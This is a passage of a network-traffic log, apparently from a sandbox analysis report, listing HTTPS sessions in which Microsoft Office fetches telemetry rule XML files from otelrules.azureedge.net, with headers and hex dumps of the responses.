2024-11-20 02:21:56 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.8	49949	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:55 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:56 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:56 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: b82dd3a8-b01e-0053-0e8c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022156Z-185f5d8b95ckwnflhC1NYCx9qs00000009hg00000000unh2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:56 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.8	49951	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:56 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:56 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:56 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 270c2d5d-601e-00ab-2f8c-3a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022156Z-1777c6cb754dqb2khC1TEBmk1s00000008y000000000ah9c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:56 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.8	49952	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:56 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:56 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:56 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 5a5a1706-c01e-0079-6c8c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022156Z-1777c6cb754mqztshC1TEB4mkc000000090000000000br1d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:56 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.8	49953	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:56 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:56 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:56 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 073925de-a01e-0032-2d8c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022156Z-185f5d8b95c9mqtvhC1NYCghtc00000009rg0000000043h3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:56 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.8	49954	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:56 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:56 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:56 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: ab7768f3-b01e-0098-59ec-3acead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022156Z-185f5d8b95cjbkr4hC1NYCeu2400000009bg00000000tanx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 02:21:56 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.8	49955	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:56 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:56 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:56 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 0c3517a5-201e-0003-7a8c-3af85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022156Z-1777c6cb754mqztshC1TEB4mkc000000090000000000br1g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:56 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.8	49956	13.107.246.45	443	7268	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:57 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:57 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:57 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 1afac609-801e-00a3-2b8c-3a7cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022157Z-185f5d8b95c96jn4hC1NYCbgp800000009eg000000010t7x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:57 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.8	49957	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:57 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:57 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:57 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: bfe6eb71-201e-006e-168c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022157Z-1777c6cb7544n7p6hC1TEByvb40000000960000000001cqd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:57 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.8	49958	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:57 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:57 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:57 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: a16a2ddb-901e-0064-058c-3ae8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022157Z-185f5d8b95ckwnflhC1NYCx9qs00000009p000000000e21u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:57 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.8	49959	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:57 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:57 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:57 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 4ac405f8-001e-002b-168c-3a99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022157Z-r1d97b99577tssmjhC1TEB8kan000000087g000000000gpd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:57 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.8	49960	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:57 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:57 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:57 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 4e85307b-101e-007a-398c-3a047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022157Z-185f5d8b95csp6jmhC1NYCwy6s00000009eg00000000usy1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:57 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.8	49961	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
